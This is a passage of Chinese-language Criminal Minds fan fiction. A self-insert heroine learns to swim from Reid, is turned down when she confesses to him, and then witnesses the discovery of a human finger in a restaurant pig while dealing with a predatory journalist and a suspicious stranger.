伊芙琳伸手挠了挠脖子。瑞德顺势松开手转而抓着游泳圈。
他们停下来时,瑞德喊了一声还在一边游一边互相伤害的加西亚。
前面两人顺势停了下来,不过加西亚眼底可谓是火花四溅,如果他们身下不是海水而是油,此刻已经是一片火海了。摩根会被烧的渣都不剩……
伊芙琳本就在两人后面,自然看到了摩根和小姑娘聊天完全忘记奋勇向前还不会游泳的加西亚。
看了眼瑞德被海水打湿的脸,对方浅棕色的卷发也被打湿,贴在额角。目光垂落盯着她,眨了眨眼,有些困惑道,“伊芙琳?你在听吗?”
伊芙琳立刻收回乱七八糟的心思,连忙跟着老师学习。
“身体保持水平状态,头部略微抬起……”瑞德围着她,在海面上起伏,不时隔着海水指了指伊芙琳的大腿小腿和踝关节,“交替打腿时……双脚内敛,踝关节不要用力绷紧,否则会因为僵硬而抽筋……要用大腿发力……
瑞德博士语速略微放缓讲着海上知识小课堂讲座,不过讲着讲着这人就忘了这是教学,语速越来越快。附近游泳比赛的路人听的实在是昏昏欲睡,眼见着这是在大海而不是在床上。避免悲剧发生,强打精神,如用四散的烟花,咻窜了出去。
伊芙琳没有关注其他人落在他们师徒身上诡异的目光,听得很仔细,越听越精神,转圈游起来似乎还真是轻松了很多!
恨不得拿小本本记起来。
这期间她不停的发问,两人一问一答,眼睛越来越亮,凑一起活像是四千只鸭子集体开会。
两人身后,悄咪咪凑近想要看啥的加西亚和摩根……
加西亚,“伊芙把瑞德当成了谷歌,我好困。”
摩根:“瑞德把伊芙琳当成了讲座的好学生……我也坚持不住了……”
上帝,快让这俩人闭嘴吧,大海都不能阻止他们吗?伊芙琳的每一个问题仿佛都给了瑞德动力,不过瑞德好歹想起来自己是教游泳的,理论要知道,但实践更重要。
两人意犹未尽的停下发干的嘴巴,伊芙琳埋头沾了点海水,就挺方便的。
在摩根和加西亚吁口气时,瑞德准备正式开始。
在此之前,他还有些担心伊芙琳不敢拿下游泳圈。研究表明,游泳圈能提供固定浮力,能让人长时间保持直立状态。若脱下,就要快速调整呼吸和肢体动作保持漂浮状态。这对初学者来说是一个比较困难的事情。
像是印证瑞德的想法,加西亚面对摩根好说歹说的情况下,依旧死死的抱着自己的宝贝游泳圈,扯着嗓子喊“我才不放!刚才要不是有游泳圈救我,我早就不知道飘哪去了。”
无疑,摩根被指的头都抬不起,这确实是他的错,难得有些气虚,游在加西亚四周,满脸都是无奈。
伊芙琳没关注其他,本身她就相信瑞德博士,这个相信是来自刚才一路游过来,对方很尽职尽责的拉着她,眼睛也时刻落在她的身上。这让初学者伊芙琳安全感十足,她深信不管如何对方也肯定会将自己捞出来。
于是,她松开双手,一骨碌矮了下去,闭着眼被人快速的拉出来时,游泳圈在一旁漂浮,她因为短时间内没有办法保持浮力,被人握着肩提了起来。
瑞德也是吓了一跳,攥着人蹙眉道,“你太莽撞了。这很危险。”
看着人消失在眼前,瑞德心脏咯噔一下,吓得脸都白了。
不过,好在,伊芙琳本就不是一个笨学生。
她学的很快,脱离游泳圈游泳是没有问题,但长途游回去就有些困难了。
一方面刚学不太熟练,一方面体能不过关。
于是回程的路上,伊芙琳单手抓着游泳圈,游一会抱着游泳圈在原地休息一会。
而加西亚依旧没有学会游泳,不过这不耽误她想和伊芙琳比谁先到海岸。
摩根在一旁嘿嘿笑了两声,表示自己做裁判。
于是一声令下。俩姑娘快速的冲了出去,身后跟着一白一黑两个护法。
31.第 31 章
本来下午的阳光格外温暖,透过大厅的半面玻璃墙,点亮了整个大厅。
有人坐在那等着朋友,脚边还有两个巨大的行李箱。有人低声的和朋友们聊着天,面前的小茶几上还放着两三款小点心。
伊芙琳握着刚弄到手的黑巧冰淇淋,隔着纸翘着两朵兰花指,目标非常明确,脚步轻快且快速的来到了没有人注意到的角落。
瑞德正在看摊在膝盖上的一本薄薄的泛黄的书,角落只有一点点阳光落到他的脸侧,阳光穿透睫毛的缝隙,在他的眼睑下落下长长的阴影。
她微微俯身,将其中一个冰淇淋,缓慢的靠近对方的耳边。他感觉到了她的靠近,冰淇淋还未靠近,他已经抬头。
“感谢您教我。这是谢礼。”伊芙琳已经将另一只冰淇淋咬了个尖尖,这东西真是一天来三个都觉得没吃够。
瑞德将书合上,将书放在沙发一侧,他坐的是大厅一侧的双人沙发上。接过冰淇淋说了声谢谢。
两人坐在那也没怎么说话,伊芙琳手搭在单人沙发的扶手上撑着头看着对面的柜台,一边吃一边看,
瑞德靠着沙发咬了一口冰淇淋,眼睛一亮。口感很绵密,没有冰沙的颗粒,像是凝固的奶油,黑巧的微苦综合了冰淇凌独有的甜腻。
里面似乎添加了坚果酱,细小的颗粒依稀能看出来是开心果的颜色。瑞德不怎么吃甜食,准确的说他对任何事物都是抱着一种填饱肚子的疏离感,没有特别的喜好。
但是零食他似乎察觉自己更爱吃甜食,地瓜干很好吃,月饼也好吃,这个巧克力冰淇凌也不错。
伊芙琳回头见对方也很喜欢,她心里舒口气,吃了几口看了一眼,收回视线。低着头感受嘴里的醇厚的冰淇淋融化咽进去后,她换了个姿势,啃了口脆皮在嘴里,只轻轻的在唇齿间磨着。
游了很长时间,摩根此刻摊在玻璃墙前方的扇形沙发上,正闭着眼休息。一旁的加西亚抱着电脑勉强硬睁开双眼打游戏,头上挂着耳麦。困倦和激情让她此刻看起来沧桑了许多。尤其是还没化妆。
伊芙琳盯着看了一会转头靠着沙发目光似乎带着一点微不可察的若有所思。她单手摸着沙发,摸着摸着就不由自主的抠起了沙发上的亚麻布,窸窸窣窣的声音响起。
瑞德正看着窗外的一对夫妻,他眼底带着些许的好奇,当然这里面也有一点点职业病,慢吞吞的观察这两个人吵架会不会动手。双方情绪激动手舞足蹈,男人中等身高,但身子瘦弱的像是营养不良。女人微微壮实,伸出手指狠狠的戳在男人的胸口上,将男人戳的一个踉跄。男人本来背对着瑞德,被戳的歪了身子,露出一张瘦黄的脸和一双阴测测的眼睛,瞪着女人突然不说话。
瑞德盯着那双眼睛,眉头微蹙。他抿着被冰淇淋动的有些发白的嘴唇,直觉告诉他,这个男人有问题。
而窗外的女人正嫌弃的看着丈夫差点歪倒的弱鸡样,收回手没好气道,“看什么看!看什么看!你看你这烂泥样子,让你把你妈送进去你还不乐意,这下好了!她将人脑袋砸破了,要赔钱了!你有钱吗?你在这家酒店当个洗碗工每个月到手的钱都不够给你女儿交学费!一天天懒得要死,还不是老娘累死累活的白天打工晚上也打工才勉强支撑起来这个家…我告诉你,我没钱替你那个精神病的妈赔钱。”
男人低着头不说话,双手捏的紧紧的,腮帮子也咬的紧紧的。女人一看这几十年如一日的窝囊贱样子的丈夫,又成功的被恶心到了。她真是懒得和这个废物多说一句话,看了眼时间,马上就到上班时间了,她将自行车一把转过头,迈上车头也不回头道,“我也好心劝你一句,赶紧将你妈送进去,你也清闲点。”说完话,女人骑着破旧的自行车一溜烟的快速的蹬入了川流不息的大马路上。
瑞德见人走了,垂眸咬了两口快化了的冰淇淋,不知道在想些什么。
伊芙琳在此,已经陆陆续续的看了会柜台又看了会路过的人,最后视线落到身侧同样看完一场默剧的人身上,对方垂眸慢吞吞的咬着冰淇淋,湿漉漉的卷发乖顺的贴在白皙的额角上。
伊芙琳看着看着,冷不丁咽了咽嘴里已经磨的都快没了的细碎的脆皮渣。
瑞德吃着吃着,他感觉哪里不对劲,舔了嘴角的黑巧酱,偏头看向一侧。
一张凑的很近的脸,他猝不及防和那双蓝眼睛对视。瑞德眨了眨眼,目光下移,然后想起了什么,身子微动,微不可察的往后挪动了……一米。他甚至还细心的扯了扯自己微微蹭上去的深蓝色及膝短裤,将白皙且细长的大腿遮的严严实实。
“……”
至于嘛,伊芙琳轻叹口气。
怎么说呢,有一种被人防狼一样防着,她还真是不知道怎么说好了。伊芙琳也尴尬了起来。有些不好意思的摸了摸耳朵,但她觉得吧,有人说的一句话还是蛮有道理的。
顺着自己的感觉走,有点小想法既要立刻实施。如果错过了……以后说不定会后悔吧。
她确实,好像在海上突然觉得,这个人,还蛮好的哈。
相信,那种似乎相处几十年的安全和信任感。短短几次见面,就能让伊芙琳有这种感觉。
伊芙琳单手撑着扶手,目光落到一米之外的人身上,此刻大厅还算安静,只有不远处前台办理入住的一家人的说话声,她咳嗽一声,悄悄问了一句,“您有女朋友吗?”
瑞德本来还在想伊芙琳突然凑的那么近做什么。他不太习惯和异性接触。但伊芙琳的话让他直接明白了对方的意思。
“抱歉。”瑞德没有回答伊芙琳的话,但这两个字似乎又已经算很明确的答案了。
伊芙琳摆了摆手,她想立刻起身离开,毕竟有些丢脸。不过她还是佯装镇定,假装自己只是随口问一句,毕竟她又没直接表白。
只是问问对方有没有女朋友罢了,伊芙琳想好了被拒绝后,对方或许会问她为什么问这种问题,那她可以说翠丝喜欢他,也可以说佐伊喜欢他。总之不是她本人。
伊芙琳连连将手上化了的冰淇淋三两口塞进嘴里,嘶,冻的她脑神经都在痛。
即便在佯装镇定,她的视线也再没有停留在的旁边人身上一分一秒。
她三两下擦了擦手上的黑巧,感觉黏糊糊的,还是得回去洗一洗。
起身,转身,不快不慢。
身后也没什么动静,伊芙琳镇定到了拐角,彻底放松后,抬下手露出红彤彤的脸。又难过又丢脸,上了电梯一路跑回房,还差点平地被毯子绊了一跤。
这姑娘顺势一手撑着墙一手瘫在地上,面无表情的看向前方。
她现在脑门上大概刻着四个大字,被拒绝了!
脸色如何,只见佐伊推开门看见五六米远距离的一个女人,浅色的头发因摔了一跤爬起来没有整理,依旧覆盖在脸上、神情恍惚脸颊脖颈通红,眼底还带着湿漉漉的水雾。
佐伊沉默半晌,都没关门,只是有些迟疑的上前几步,“你……”看着比翠丝更像
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一名受害者。
伊芙琳扒拉开头发,将手伸过去,佐伊将她一把拉起来后,伊芙琳摇摇晃晃的半捂着脸留下一句,“最近不和你们出去了,我要闭关。”
佐伊有些茫然的看着好友匆匆开门又匆匆关门,摸不着头脑的回房,进门还顺道和翠丝说了一句伊芙琳好奇怪,但半晌没有人搭理。她抬眼一看,嘴角抽搐。
走前翠丝就在看,现在还在看,她已经看了不知道多久……皮特的个人账号,有一个小聊天框,上面全都是翠丝的留言。
而皮特除了大骂疯子就再也没和翠丝说过一句话。
——————————
佐伊这几天假期还是蛮开心的,和那晚的小伙子打得火热。
而她另外两个仿佛锁死在房间的两个朋友,过的就……
翠丝抱着伊芙琳带来的电脑,靠着床头目光盯着视频里,皮特在法庭被告席上帅气的样子。
“怎么这么帅呢。”翠丝黑脸颊一片滚烫,虽然看不到任何红色的痕迹,但这不耽误什么。
她已经沉溺于那一晚的美好不可自拔,三观和道德底线都已经变得不是太明确了。
只是可惜了,翠丝深深叹口气,虽然辩护律师强词夺理巧言善辩甚至非常狡诈。但她已经看出来,她好不容易遇到的大帅哥就要被关进牢里。
心情都不是很美妙了。
伊芙琳扯了扯自己的胳膊,她面无表情道,“可以放我离开吗?”她已经听了一个小时审判回放视频,她也很苦恼好吗,只要一想到自己表白被拒,她真是睡梦中都要惊醒过来,羞的乱踢被子。
摸了摸自己的黑眼圈,伊芙琳深深叹口气。
“伊芙,你说我该怎么办?他进去了,我还能遇到这种上赶着的帅哥吗?”翠丝忧郁的小眼神望着伊芙琳,没等伊芙琳说什么,她又有些担忧道,“他长得瘦弱又帅气,在监狱里会不会……”
伊芙琳翻了个白眼,她一把抱过自己的电脑合上,“不要担心,他会得到应有的照顾,顺便一提,你再对这种人抱着想法,别怪我跟你绝交。”
一个罪名成立的,并且侵犯了好几名姑娘的男人,能是什么好人。翠丝三观堕落到如此地步,谁知道她以后会不会领回来一个反社会人格。
伊芙琳冷不丁顿住脚步,她猛地回头,看着床上还在唉声叹气的翠丝,她上前将对方扒拉起来,扯着两个大黑胳膊将人扯到了面前,警告抬着头茫然的看着她的翠丝,“你最好给我找一些正常的……”
不过话还没说完,伊芙琳又想起之前听课时……一般高智商罪犯或者是连环杀手大多看着正常,温和,好好先生。
于是伊芙琳诚恳道,“你别自己找了,我妈妈认识很多帅哥,我给你亲自把关,绝对找一个非常帅的男生当你男朋友可以吗?”
她真是怕了。
翠丝眼睛一亮,“成交!”
————————
摩根靠着酒吧吧台寻找漂亮的姑娘搭讪,一旁的瑞德坐在高椅上,一只手撑着头,一只手来回翻着一张牌,像是在发呆。
“伊芙琳似乎已经和加西亚一样黏在屋子里了,两人这度假可真没意思,她俩也待的住。”
瑞德托腮没有吭声,只是他不再翻动纸牌,目光沉静的盯着桌面,细长的手指无意识的在桌面上敲打,摩根听到声音回头一看,他左侧的眉,挑起来了。
说起来,他那天半梦半醒间,似乎看到这俩人凑的很近……
32.第 32 章
当伊芙琳听到惊恐的尖叫,伴随着大男人短促的一声,“手指!有手指!”语速快的几乎都快听不出来他说的是什么。
花被单短裙都差点因为剧烈的动作而落下胯。
坐在餐厅里的伊芙琳两人,嘴里还嚼着烤猪肉,闻言是晴天霹雳。
加西亚当时的表情,以及伊芙琳当时的表情。
怎么说呢,最开始是迷茫,手指?什么有手指。
但等到柜台电话被男人拿起,对着对面语气惊慌的大喊他们在猪肠子里发现了一个带着戒指的手指。
伊芙琳脸色难看的和加西亚齐齐低头看了眼自己盘子里还剩的肉,而一侧的木盘子里的一大坨猪肉,已经只剩四分之一。
“他说的,应该不是这个。”慌乱恶心了一瞬,但马上想到主厨说的绝对不是她们吃的这头猪。
加西亚瞬间松口气,但刀叉放了下来,整个人突然没有了胃口。伊芙琳也放下刀叉,她皱眉道,“咱们要不要先离开?”但话还未说完,她缓慢地低头重新看向餐盘里的肉,她沉默片刻,缓缓抬头。面对加西亚疑惑的眼神,伊芙琳拧着眉有些纠结道,“养猪,一个圈里怎么最少也得有两头吧……”
加西亚茫然了一瞬,但她毕竟是处理过很多连环杀手奇思妙想的案件。那些变态处理尸体的现场照片都幻化成了影响,在加西亚脑海里翻来覆去的播放。
除非犯人有办法让尸体只被一只猪吃掉。
“他说,手指像化了一样……”伊芙琳默默的补充了一句。
也不知道她们吃的这头猪,肠子里的东西是不是消化了才没被厨师发现……
事实证明,伊芙琳就是个死神附体,现在证据确凿,并且不容狡辩!
事情倒回一个半小时前。
伊芙琳已经在房间已经躲了三天,整整三天。
这三天夏威夷阳光明媚,海水清透。椰子树的树冠都摇曳的很有夏威夷风情。
像是一帮被酒店特意请来的土著表演者跳的草裙舞一样。
佐伊和某个男生打得火热,海鲜大餐烛光晚餐,冲浪,过的很充实。
翠丝自己一个人白天在海边浪,晚上猫在酒吧里,目光如炬搜索着下一个目标,过的算不上正常,但她本人却觉得这别有滋味。
她们非常听伊芙琳的话,一个个早出晚归,各自找乐子,从来没有过来打扰她。
直到第四天早上,加西亚将她拖了出去。
她力气很大,她不明白伊芙琳为什么不愿意出门。这眼见着真没办法逃避,伊芙琳只一咬牙心一横,松开了扒着门的手。
这几天安详的躺在床上看电视,被情景喜剧吸引了全部注意力后,心绪好歹平复了一些,甚至在忍不住想起那天的事都会反复在内心对自己说,“嘿,姑娘。这没什么。你只是第一次而已还不习惯,多来几次业务熟练了就好了。”
所谓熟能生巧,时间长了脸皮都能变厚了,虽然这个词用的不准确,但原谅她吧,她实在是被打击的有些语无伦次了。
如此反复去安慰自己,已经初步升华的伊芙琳还未体会自己的劳动成果,就被人扯到了光天化日之下。
不过好在,一路没有看到‘其他人’。
伊芙琳草帽下带着墨镜的眼睛不时地瞄向四周,直到出了酒店坐上了轿车才松口气。
这边加西亚反复提到的的卡鲁阿猪,她详细的描绘了这道主菜是有多么的美味,她决定在离开前一定要品尝一番,但可惜早起一觉醒来就发现小伙伴们自己跑了。
“摩根和瑞德出海海钓了,一大早就出发。我醒过来才看到他凌晨四点发的消息,幸亏没有叫我。我可不愿意天还没亮就要从床上爬起来。明明说好了离开前最后一顿要吃烤猪肉的。”
“说起来,”加西亚看了眼伊芙琳,被看的人还有些纳闷,正听着她讲呢,怎么突然停下来了。
加西亚凑过来,镜片后刷了一层浅蓝色眼影的大眼睛盯着伊芙琳,似乎在观察她的表情,她问道“你为什么躲着在屋里不出来?”
伊芙琳缓缓伸出手,推开她胖乎乎的脸,脑子瞬间发硬,面上倒是没什么表情,非常若无其事的笑了笑,“最近突然对电视剧上瘾了,每天总熬夜看电脑回放,白天精力不济只好睡觉。”
多么完美的一套说辞。
加西亚被推开后,倒也没在贴着伊芙琳追问,只是不知道在想什么,表情颇为奇怪。
她们到的时候,人已经很多了,打眼一看露天的座位都有人了。院子中央是几颗种在门前的椰子树,而院子靠左边的位置上,有一个大大的圆坑,那里面还冒着火星子。两个壮硕的男人只在腰间围了一块红色花布。一旁的店员介绍,这其中一位头发略长的男人是他们餐厅的主厨老板哈克。
而那个圆坑是用来烤猪肉的。沙坑里铺满了炙热的岩石,将整只猪用盐简单调味后放入坑里,覆盖香蕉叶铁树叶,再以湿布和泥土覆盖。
需要六到七个小时的低温烘烤。
这个时间烤制的也就只有晚餐才能吃到。
两人被人领进了餐厅,靠着床边,还能看到远处的椰子林。
菜上的很快,都是大盘。白色打底,边缘是蓝色的横纹。一道菠萝沙拉,一道烤甜土豆,以及方形的木质盘子上冒着香气呈焦糖色的烤猪肉,上面的皮瞧着油光十足。
两人早早将刀叉拿在手里,各自朝着大份
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的烤猪肉奔去。
伊芙琳很喜欢皮,她挑了一块带着猪皮的挪到自己的盘子里。刀从外层的猪皮切下,还未用力,‘嚓’的一声响起,焦脆的外壳就和刚刚烤好的一样,没有半分疲软,脆的轻轻一碰直接露出下面的烟熏猪肉,接下来根本不用再切,只用叉子轻轻一提,冒着汁水的肉丝软烂的直接就能撕扯下来。
有时候,享受美食,就是在享受快乐,当咸香软烂的猪肉和脆壳猪皮在嘴里化成浓郁的油脂,那一瞬间能忘却一切烦恼。
金色的菠萝入口鲜甜,刚采摘下来,还带着饱满的汁水。搭配微辣的洋葱丝,完美去掉了了猪肉的腻。半切开的烤甜土豆什么都没放,一层微微焦且有韧劲的外壳,勺子一戳,就像是在吃冰淇淋一样,绵软中带着甜,一口下去非常扎实细腻。
伊芙琳不能否认,此刻她已经隐隐有些克制不住自己,简直一口接一口的停不下来,加西亚也在埋头吃的欢快急极了。
处理猪肉的血腥场面不宜让客人直接看到。主厨哈克在厨房里,和助手一起将死去多时的三百多斤肥瘦均衡的猪开膛破肚。
猪内脏作为卢奥宴的配菜,常常与猪肉一起同炉熏烤。
他们需要将内脏掏出来,将多余的脂肪清理干净,用温水清洗后处理好异味,将东西重新塞回去,用竹签固定。
一个洗肠子的助手正在水龙头下用温水和淀粉清洗表面的粘液,清洗好之后还要清洗内里。厨房里放着劲爆的歌曲,几个男人哼着歌偶尔扭着跨,他也不例外,但哼着哼着他感觉到不对劲,低头看了眼手上的大肠,堆叠褶皱的肠子里,他捏了捏,嘟囔着这猪怎么还没消化?
不能将肠子切开,于是他推着挤着,花了一阵功夫将东西挤了出来,他眯眼看掉落到水池里的东西,此刻水池里除了大肠还有带着白色脂肪的微微泛白的温水。厨房很亮堂但他一时间也看的有些费劲,因为这东西有些奇怪。
于是他将东西从白花花的水中捞了出来,一侧过来检查的主厨一边扭着跨高声唱着my baby,一边凑到助手身边,拍着他的肩膀刚想说,‘嘿不要偷懒,’余光瞥见了一根戴着戒指的……骨头?还连着腐烂的肉……
两人面面相觑,然后再齐齐的看过去。
“那是,戒指?”
两人脸色越来越白,这时摇滚的歌曲冲上云霄,伴随着主唱标准的海豚音,两人吓得头皮发麻。
柜台后的拱门,是直接连着厨房前门,一声叠一声的海豚音,惊恐的尖叫,几个大男人的声音,瞬间传遍了整个餐厅。露台的人们也偏头看了眼室内,但也只是看了几眼,然后依旧和朋友家人享受悠闲的时光。
直到警笛声响起。
33.第 33 章
事实证明,只要陆续有四辆警车将餐厅团团围住,哪怕是不了解内情的露天用餐的客人,这时候也开始慌乱了起来。
不过慌乱和看热闹并不冲突。
不少人跟着警察和主厨身后,想要进入厨房看看究竟发生了什么。
此刻警戒线还未拉起来,两名警员也是面容严肃的人让他们退后。
有的人愤愤不平,直嚷嚷道,“我们是来用餐的,为了我们的饮食安全,我们有权利知道厨房里究竟发生了什么?投毒?非法交易野生动物?食品安全问题?!”
这说的可真全面。
伊芙琳看了眼说话的男人,男人四十多岁的年纪,一件浅色亚麻衬衫,下身搭配的是深蓝色休闲裤。相比周围的男士们短袖体恤,他不太像是度假的……倒像是来一场休闲会议。
一旁加西亚突然短促的“哦”了一声,小声念叨了一个名字。
“赫里奇。”
“赫里奇?”伊芙琳念叨着这个名字,总感觉有些耳熟。而加西亚嘴角用尽力气下撇表达自己的非常讨人这个叫赫里奇的人,贴着伊芙琳耳边小声道,“四年前,一次抓捕罪犯的活动中,这个男人不知道从哪冒了出来,直接对着挟持人质的罪犯拍了个照片,还是带闪光灯。罪犯本就是精神妄想症患者,误以为有人朝他开枪,直接下意识的一枪打死了受害者。当时现场只有瑞德和JJ……”
加西亚越说越生气,“瑞德和JJ差点被他害的不能配枪。那家伙跑的倒挺快,倒是瑞德,当时家属要动手,瑞德自己被揍不说还替JJ挡了几下。可怜的小家伙,在医院住了好几天。”
这边加西亚嘀嘀咕咕说着事情的来龙去脉,愤愤不平。那边赫里奇不依不饶的要踏进去,被警察训斥也不为所动,凭借着高大健壮的身子,贴着身子狠狠的撞了警员。
这时候,斜地里一根□□缓缓的抵着赫里奇的脖子,那个警员眼底带着些许愤怒。
赫里奇又不失傻子,即便他再想挖第一手消息,也不代表他想被电。于是这个男人一边摊手一边后退,人群也跟着慢慢散开。
伊芙琳摸着手机看了眼维多利亚女士发来的消息。这位女士正在片场坐冷板凳,发的的消息及时又勤快。短信声嗡嗡的,还有一张照片。
下面附带一句,整死他伊芙琳。
之前就感觉这男人有些眼熟,维多利亚女士因为赫里奇痛失奥斯卡。
有时候睡梦中还能咬牙喊一嗓子露琪and赫里奇。
这两人都是维多利亚女士的敌人。
赫里奇转身翻了个白眼,不过看到身后的两人时,他重点看向加西亚。那白眼硬生生翻了下来,虽然正常了但也没好到哪去。眼睛里充斥着狡诈和令人不喜的精明。
他突然嘴角咧出一个大大的弧度,五官附近的皮都挤出了深刻的皱纹。
“嘿嘿嘿,瞧瞧瞧瞧,这不是FBI的黑客皇后加西亚吗?怎么,四年前你将我的所有信息公布出去,我都没说什么,你对我的态度可让我很难过呢。”赫里奇推开人群来到我们面前,俯身贴着加西亚,“嘿,姑娘,不要用这个表情看我,说不定我一个不小心,再将你告上法庭。”
赫里奇的说了FBI时,人群里一个面黄肌瘦的男人愣了一下。
加西亚为了给好友出气,差点被辞退倒是小事,重点是黑客女王加西亚被人发现这件事让她觉得有些丢脸。她还没好意思和伊芙琳说这件事。
她皱眉想要将这恶心的家伙推开,但这人推不开,死沉!
加西亚转头就要拉着伊芙琳走,但人刚有动作就被一只手攥着手,“嘿,我还没说完呢,你……”
眼见着恶心的家伙不松手,加西亚女王马上就要用上铁头功和踹裆这两个经典攻击动作。斜地里一只手挤了进来。期间一根勺子的把手头狠狠戳了下对方下面的……男人都没反应过来,等痛意袭来,他顿时松开禁拽着加西亚的贼手,捂着下面。
赫里奇面色涨红的躬身,只有一瞬间。
加西亚看着收回手转着细长的勺子的伊芙琳,再看向痛苦的赫里奇。
半晌才吐口气,真解气有没有。
赫里奇疼的眼前一片黑又一片白,稍微能够喘气,他才看着动手的家伙,一个二十岁看着都不到的小丫头,竟然做出这种下三滥的招数!
他本来对加西亚旁边的人不以为意,即便对方再讨厌他又如何。
他是个记者,还是个娱乐八卦政治所有相关话题都会涉及并将水搅浑的坏家伙。没有人能坏的过他,他听到了不少政客辱骂他是个狗东西,甚至上一任总统还公开骂过他,但这并没有让他少一块肉。
但他怎么都没想到,看着一脸乖巧闷不吭声的家伙,竟然能够一脸无辜的戳……哦上帝!
不过,眼前恢复光明的男人越来越觉得哪里不对劲,他睁大眼看向伊芙琳,“你是维多利亚那个女人的小女儿!”
哦上帝,这下他真是……上一次就被那个恶毒的女人……
维多利亚女士没有和自己女儿详细的说了一下自己曾经也是有报复过赫里奇的,毕竟不是什么光彩的事。
伊芙琳不说,但以一个勺子砸到他的脑子为回应,转身拉着加西亚快步走向院子。
伊芙琳目标明确。院子靠近中间位置的女士。
女士年纪有些偏大,六十左右。银色的卷发温柔的盘在脑后,她正翻看着手里的东西,依稀能看到其中一张是黑白照片,不过在伊芙琳跑过去的时候她缓缓的合上了文件夹,双手交叠搭在上面。
伊芙琳身后突然一声虚弱的呵斥,“嘿,你要做什么!”
显然是赫里奇察觉到了什么。
女士似乎听到了动静抬头看过来,伊芙琳几步走了过去,那男的现在走路都是问题。
维多利亚女士传的照片,是老夫人盛装出席一场慈善拍卖会晚宴上的照片,她显然是主办方,是贝索斯家族最高掌权人,身价更是不能只用钱来形容。
赫里奇此人,是一个为了钱无所不用其极的家伙,诬陷、诋毁、造谣,早些年做的更疯,有一位著名的影星因为他恶意剪辑被网暴后没多久就跳楼自杀,那件事闹的很大,但他承受最大的后果,只不过是从一个报社被辞退而换到另一个报社,这完全不影响他赚的盆满钵满。
贝索斯家是他盯了将近十年,运用各种手段收集的过往和现在的家族的某些人,完全不能让外人知道的不光彩的秘密。
这些照片可都是赫里奇辛辛苦苦拍来的,他好不容易搭上了贝索斯家族最高掌权人,他这次来夏威夷就是为了谈成这一大单子,想必,他谈完之后直接可
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以退休了。
所以,赫里奇扭着腰歪着身子,艰难的就要上前制止,他可不想让人坏了他的好事!
伊芙琳将手机递给贝索斯夫人。
维多利亚女士也不知道赫里奇详细的干了什么,但大致也猜到了,于是她将自己的私家侦探收集的某件事和伊芙琳说了。
至于资料,只要贝索斯夫人提供一个邮箱,伊芙琳回酒店就能发给她。
贝索斯夫人意外的没有拒绝,从一旁半开的盒子里拿出眼镜挂在鼻梁上,她低着头按着键,手机屏幕换的稍微大了一些,但肯定没有后事全屏那么大。
赫里奇赶过来时,已经过了好久,该看的也都看完了。他不知道从贝索斯脸上看出了什么,目光看向伊芙琳时都要喷火了。
伊芙琳摊手。
赫里奇咬牙片刻,堆叠着笑想要凑近贝索斯夫人。
但对方在伊芙琳手机上看完后,目光有些冷了下来。
贝索斯不在乎花一点钱为自己的不孝子孙抹平负面的新闻,但这个钱可绝对不能落到一个如此狡诈的人手里。
上面多多少少也有贝索斯查到的一些东西,但她查的并不全面,如今经过专业专业人士搜集的资料,全方位无死角的将赫里奇侵犯儿童却因证据不足而当庭释放,背后却有人通过各种非法交易将一笔钱偷偷打入孩子的姑姑姑父的账户里。
而且不止这一个孩子。
很明显,这家伙是个恶心的恋童癖,哦上帝!贝索斯夫人几十年和丈夫在腥风血雨的商场上也做过不少事,涉及人命也不少,但这不代表她同样可以忍受自己的钱给这种人花。
老太太已经将自己的邮箱写在了一旁的便利贴递给了女孩,她不清楚对方为什么这么做,但无疑这对她很有帮助。
赫里奇倒霉加西亚就高兴了,她撞了撞伊芙琳的肩膀,“你做了什么,他看着像是破产了一样沮丧。”
伊芙琳摆摆手,刚想说什么,路过加西亚身后的瘦弱的男人突然不小心歪下身子,撞到了加西亚身上,加西亚没动,对方却一个踉跄,差点被撞倒。
这人面黄肌瘦,感觉随时随地就要晕过去了。
加西亚反手就是一个搀扶,或者说单手就将一个男人半扶了起来。
“你还好吧。”伊芙琳看着慢吞吞将她们两人推开的大叔,小声询问,“您看着憔悴极了,要不要送您去医院?”
男人喘气都有些慢吞吞的,看起来虚弱极了,加西亚一只手就能将对方提起来,这胖姑娘也觉得这大哥看着像一片纸,她觉得对方下一秒就要咽气了。
男人摇了摇头,喘几口气,嘴唇发白道,“你们能送我回家吗?我休息一下就好了。”FBI……这些讨人厌的家伙们。
男人说完后,本以为两个女人会热情的将他送回家。
可惜,迎接他的是一片诡异的沉默。
扶老奶奶孕妇回家休息,替陌生人找找他可怜的猫咪和小狗……
伊芙琳久久未上线的雷达,突然叮了一下。
加西亚也感觉哪里不对劲,凭着多年的案件调查经验,她本能的想要拒绝。
伊芙琳看了眼餐厅,她诚恳的和大叔提了个建议,“这样吧,这院子草地还是蛮舒服的,我们可以陪您去草地上休息休息,等您好了我们再走。”
34.第 34 章
大叔显然愣住了。
加西亚单手就能撑住他,伊芙琳就没跟着伸手,站在一边四处扫视,发现客人已经走得差不多了,只有一两桌菜刚上桌不久,还未用多少的客人留了下来。
餐厅里都是后续赶过来的一些鉴定技术科人员,大部分都在厨房,有的已经驱车离开,估摸是赶去养殖场做调查和取证。
电视剧里都这么演的不是吗?
总之,院子里阳光很足很温暖,院子里的草地也休整的很整齐,干净柔软,躺在上面是可以休息的。
大叔却在这时候表达了自己的强烈意愿,他说自己想要回家,他希望伊芙琳和加西亚能带他回家,他的家不远,徒步行走也才三十分钟左右。
大叔思路还蛮清晰的。
从大叔被扶起来到沟通,来来回回也差不多五六分钟了,伊芙琳见对方双脚也能站得住,说话也挺清晰,毕竟能表达自己强烈的想要回家的意愿。她个人认为,既是如此那应该是爬着也能自己回去吧。
伊芙琳也没说其他,只是表示实在不行自己替他叫个车。
话刚说完,对方连连摆手,“不行不行,我没有钱付车钱。”他恳求的看了伊芙琳一眼,然后转头和加西亚哀求道“送我回家吧,耽误不了你们多长时间。”
这个叔叔,确实看着挺可怜的。穿的破旧的衣服,头发微微发灰,比难民也就胖一点点。说实在的,如果在前世大街上,农民工叔叔阿姨不舒服,伊芙琳绝对不会废话,直接将人带回家让他们好好休息,甚至能给他们点外卖让他们吃饱肚子。
但这个男人,怎么说呢。他有些奇怪,而且越和他交流越觉得很奇怪。就感觉他像是非得让她们送他不可。
加西亚犹豫的嗯了半晌,她不是个会拒绝人的姑娘,只是这类似的案子办理太多,导致她既同情这个男人又深深的怀疑这个男人。
她看了伊芙琳一眼,对方默默的摇了摇头。
“我们没办法送您,我们还有事,这样吧,我给您付钱。”伊芙琳并不觉得自己这么做有什么问题。只是大叔看着伊芙琳的的眼睛,怎么说呢,就像是是所有感情一瞬间从眼睛里抽空一样,变得麻木又冷漠,暗棕色的眼睛都看着瘆人。
